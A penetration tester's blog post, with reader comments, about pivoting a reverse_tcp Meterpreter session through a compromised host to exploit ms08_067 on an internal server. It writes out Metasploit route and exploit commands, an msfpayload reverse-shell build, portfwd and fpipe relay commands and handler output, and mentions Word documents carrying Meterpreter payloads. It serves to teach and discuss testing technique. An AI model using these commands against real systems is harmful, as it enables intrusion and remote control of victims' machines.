Skip to main content

Welcome to Mark Baggett - In Depth Defense

I am the course Author of SANS SEC573 Automating Information Security with Python. Check back frequently for updated tools and articles related to course material.

Senior SANS Instructor
GSE #15
Internet Storm Center Handler
Penetration Testing and Incident Response Consultant
Technical Advisor to DoD for The SANS Institute
Founding President of the Greater Augusta ISSA
Cofounder of BSidesAugusta Security Conference

FREQ SERVER - Tool and technique for detecting Malware Command and Control domains
DOMAIN_STATES - Tool for detecting "Baby Domains" used for phishing and Malware distribution
SRUM_DUMP - Forensics tool for extracting System Resource Utilization Monitoring artifacts
LIAM_NEESON - Proof of Concept Linux Hash Protection
HONEY_HASHES - Certainly Honey Tokens have been around since 2003 but I created a cool technique for creating fake SATs in memory that was turned into Dell Secure Works DCEPT framework.
VSSOWN - Tool & Technique for Using Microsoft Volume Shadow Copies for hiding malware and extracting artifacts
SDB Hacking - Using Application Compatibility in unexpected ways.
SET-KBLED - Utility for Managing Clevo and Sager Laptop LED Backlit Keyboards - Scapy based fragement reassembly engine - A password cracker for the EAP protocol

and more. Most of these tools are available on my github page. Follow me on twitter @markbaggett

Reverse Pivots with Metasploit - How NOT to make the lightbulb

In a penetration test your target is PII kept on a corporate file server which I will call Victim2. You are outside the firewall but have gained access to an internal host, Victim1, when a user opened your word document with an embeeded Meterpreter payload. The stager embedded in the word document made a REVERSE_TCP connection to your machine which uploaded metsrv.dll to the victim. The machine you have access to (Victim1) has unfiltered access to your target (Victim2). Victim2 is vulnerable to ms08_067_netapi. Victim2 however, has NO access to the internet at all. Were it not for the strict egress firewall rules controlling Victim2 you could have used the ROUTE command to pivot your attack through your meterpreter session on Victim1 to Victim2, and have Victim2 send you a shell directly like this...

Your IP =
Victim1 =
Victim2 =

Background session 1? [y/N] y
msf exploit(ms08_067_netapi) > route add 1
msf exploit(ms08_067_netapi) > route print

Active Routing Table

Subnet Netmask Gateway
------ ------- ------- Session 1

msf exploit(ms08_067_netapi) > sessions -l

Active sessions

Id Description Tunnel
-- ----------- ------
1 Meterpreter ->

msf exploit(ms08_067_netapi) > set RHOST
msf exploit(ms08_067_netapi) > set LHOST
msf exploit(ms08_067_netapi) > exploit

And the session would be shoveled back to you from Victim2. BUT, this time, strong egress filters prevailed and you can't make that direct connection. So you decide to relay in back through Victim1 who does have access to the internet. How do you do that?

Here was my first thought. I'll use meterpreter's PORTFWD command on VICTIM1 to setup a TCP relay and back to me. Then I'll exploit Victim2 and set my LHOST to Victim1 ( and my LPORT to the PORTFWD listener on Victim1. My attack will flow through my pivot and return to me via the PORTFWD on Victim1.

Guess what. You can't do that. LHOST and LPORT have to be a valid IP address on your host or the exploit wont even launch. Metasploit won't let your LHOST be the Victim1. Maybe I could do some CHOST,CPORT trickery (see the advanced options)? I couldn't make that work either.

OK so I can't launch an exploit. But I can make one!
./msfpayload windows/meterpreter/reverse_tcp LHOST=victim1 LPORT=portfwd listener X > custompayload.exe

Then I can use the Upload and Execute payloads to exploit victim2 and get my shell!!
Nope. That doesn't work either. Why? I think there is a bug in PORTFWD.

When you run portfwd and don't provide the OPTIONAL -L ip address it appears to work. You get something like this..

meterpreter > portfwd add -l 6666 -r -p 80
[*] Local TCP relay created: <->

But nothing is listening on port 6666. A quick "execute -c -f cmd.exe; interact 1; netstat -na" shows nothing listening on the port. An NMAP of the host confirms no listener...

Macintosh:~ mark.baggett$ nmap -p 6666

Starting Nmap 4.76 ( ) at 2009-02-03 22:47 EST
Interesting ports on
6666/tcp closed irc

Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
Macintosh:~ mark.baggett$

If I try to force the matter with a -L I get a nasty "Cant assign requested address" message.

meterpreter > portfwd add -L -l 6666 -r -p 80
[-] Error running command portfwd: Can't assign requested address - bind(2) /Applications/framework3/lib/rex/socket/comm/local.rb:138:in `bind'/Applications/framework3/lib/rex/socket/comm/local.rb:138:in `create_by_type'/Applications/framework3/lib/rex/socket/comm/local.rb:26:in `create'/Applications/framework3/lib/rex/socket.rb:45:in `create_param'/Applications/framework3/lib/rex/socket.rb:52:in `create_tcp'/Applications/framework3/lib/rex/socket.rb:59:in `create_tcp_server'/Applications/framework3/lib/rex/services/local_relay.rb:184:in `start_tcp_relay'/Applications/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb:219:in `cmd_portfwd'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/Applications/framework3/lib/rex/post/meterpreter/ui/console.rb:94:in `run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/Applications/framework3/lib/rex/post/meterpreter/ui/console.rb:60:in `interact'/Applications/framework3/lib/rex/ui/text/shell.rb:123:in `call'/Applications/framework3/lib/rex/ui/text/shell.rb:123:in `run'/Applications/framework3/lib/rex/post/meterpreter/ui/console.rb:58:in `interact'/Applications/framework3/lib/msf/base/sessions/meterpreter.rb:181:in `_interact'/Applications/framework3/lib/rex/ui/interactive.rb:48:in `interact'/Applications/framework3/lib/msf/ui/console/command_dispatcher/core.rb:918:in `cmd_sessions'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/Applications/framework3/lib/msf/ui/console/command_dispatcher/exploit.rb:143:in `cmd_exploit'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/Applications/framework3/lib/rex/ui/text/shell.rb:127:in `run'./msfconsole:82
meterpreter > ipconfig

Parallels OEM Adapter.
Hardware MAC: 00:1c:42:99:40:22
IP Address :
Netmask :

OK. So maybe there is a bug in portfwd. I punt and I use a different external TCP relay program. I upload and execute FPIPE.EXE and use it on Victim1 to relay the session from Victim2 back to My IP.

fpipe.exe -i -l 5555 -r 80

[*] Handler binding to LHOST
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.

And thats it! Its all good with one VERY IMPORTANT exception. I never get
[*] Meterpreter session 2 opened.

So FAIL, FAIL FAIL. I was unable to pivot a reverse_tcp meterpreter session. I can reach my goal by using the Meterpreter session on Victim1 to access the file server on Victim2 with SMB ports, but thats not very sexy. Ed Skoudis gender bender netcat relays are a good option, but I want to do it with just metasploit. So what is the right way to do this? Do you know? Add a comment!


Nick Night said…
Well, pivoting is interesting and always worth exploring. I'll make some tests this weekends according to your description..
I'm not sure if it's worth a mention, but in
"meterpreter > portfwd add -L 104.4.4 -l 6666 -r -p 80"
there's a dot missing in the IP address.
Mark Baggett said…
Thanks Nick. IP addresses were changed to protect the innocent. I will fix the typo. I'll fix the post.

mtgarden said…
Couple of questions.

1) I successfully encoded a meterpreter shell into a .Doc and it works beautifully. Problem is this: I can't background the session without msfcli hanging up on me. Thoughts? This is on BT3 VM.

2) This works well against Office XP, but I cannot get Office 07 to function. The same file exploits one and not the other. So I created a doc in .docm format and disabled the Macro security and it still fails. I tested this with Office 07 on XP and on Win7. Thoughts?
Mark Baggett said…

I've experienced the same thing with msfcli. You will want to use ./msfconsole with meterpreter if you going to background it. Backgrounding a msfcli process really doesn't have much benefit because msfcli returns you back to your OS prompt anyway. You need msfconsole running to be able to use the ROUTE command and pivot your attack

Sorry, I haven't tested this on 2007, but I've been told by other that it does work properly. I'm not sure what they did to get it working. Sorry I don't have a better answer for you.
ne0matrix said…
I red your article, and tried to test on my homelab, and this is what i came up with:

And portfwd seems to work...
Apparently the "-L" parameter is meant to listen on the address input, so the address should be the loopback or a local(your IP) IP address.
So we should have something like this:
meterpreter > portfwd add -L -l -r -p 6666
Mark Baggett said…
Great job on the video demo. Thank you for posting a comment with that link. I should have posted an update to this blog entry. Egypt from the metasploit team emailed me the response below which confirms your findings. Portfwd does indeed open a port listener on the host with the framework running and not on the target. In the scenario video you posted where you 0wn host 1 then relay to Host 2 the use of portfwd commands is not required. I posted a similar video here

What I've been intending to do, but haven't gotten around to it, is record a demo of a 3 host relay Attacker -> Victim 1 -> Victim 2 -> Victim 3 by using PORTFWD instead of ROUTE to go from Victim 1 to Victim 2 since using ROUTE alone will only get you a two host pivot. Very nice job on the video.

Here is Egypt's reply to my question:
On Mon, Feb 9, 2009 at 2:17 AM, egypt at wrote:
> Hash: SHA1
> Mark,
> The portfwd command does not open a listener on the meterpreter
> server, it opens a listener on the metasploit machine so you can talk
> to things behind the meterpreter server. I had this same
> misconception when I first started using meterpreter.
> meterpreter > portfwd add -l 9999 -p 80 -r
> [*] Local TCP relay created:
> meterpreter >
> framework3 # netstat -pant|grep 9999
> tcp 0 0*
> LISTEN 15398/ruby
> tcp 0 0
> ESTABLISHED 11609/firefox
> tcp 0 0
> ESTABLISHED 15398/ruby
> framework3 #
> I've found this to be most useful for hacking intranet webservers
> because it allows you to open a browser pointed at localhost:9999 that
> goes through your meterp session into the intranet. What you are
> talking about (having the meterp machine listen and forward traffic
> back through the tunnel) is currently unimplemented. I don't think it
> is a monumental task, but nobody has done it yet.
> In the example on your blog, you say victim1 has unfiltered access to
> victim2. If this is really the case, you can simply add the route as
> in your example and use a bind payload -- everything will be tunneled.
> Hope this helped,
> egypt

Popular posts from this blog

SRUM-DUMP and SRUM_DUMP_CSV Ported to Python 3

SRUM_DUMP and SRUM_DUMP_CSV have been ported to Python3 and are available for download from the PYTHON3 branch of my github page.

In moving to Python3 I also updated the modules that I depend upon to parse and create XLSX files and access the ESE database that contains the SRUM data.  I hope that this will fix the issue that some users have experienced with SRUDB.dat files that create very large spreadsheets.  If it does not please let me know and continue to use SRUM_DUMP_CSV.EXE to avoid the XLSX problem.

In moving to Python3 you will find the process to be faster.

If you would like to run the tools from source instructions for doing so are in the README on the github page.

Use Python and Scapy to Easily Do Full Duplex Stream Reassembly!

Check out this blog on how to get scapy to do full packet reassembly in just a few lines of Python code.

Awesome Keyboard Tricks - Clevo/Sager Backlight control from Powershell

I'm back on Windows.   After 8 years on a Macintosh I just couldn't go another day with ONLY 16GB of RAM.   I priced it out and for the cost of a top of the line MacBook I could get a tricked out PC with 32GB of ram and 2.5 TB or hard drive space (1.5 of it being SSD).   So I made the switch.  To get a top performing laptop I ended up buying a gaming machine from   The model is Sager NP9752 (Clevo P750ZM).    I have to say I like it quite a bit.    One of the features I was curious about was the "Programmable backlit keyboard".   With it you can set your keyboard backlight to various colors and light movement patterns.    Now, when I hear "programmable" I think APIs.   I was a little disappointed to find out there weren't any documented APIs that I could use to control the keyboard.    Your only choice is to use their built in tool to configure the lights on the keyboard.   That stinks.  I want to be able to change key colors automatically …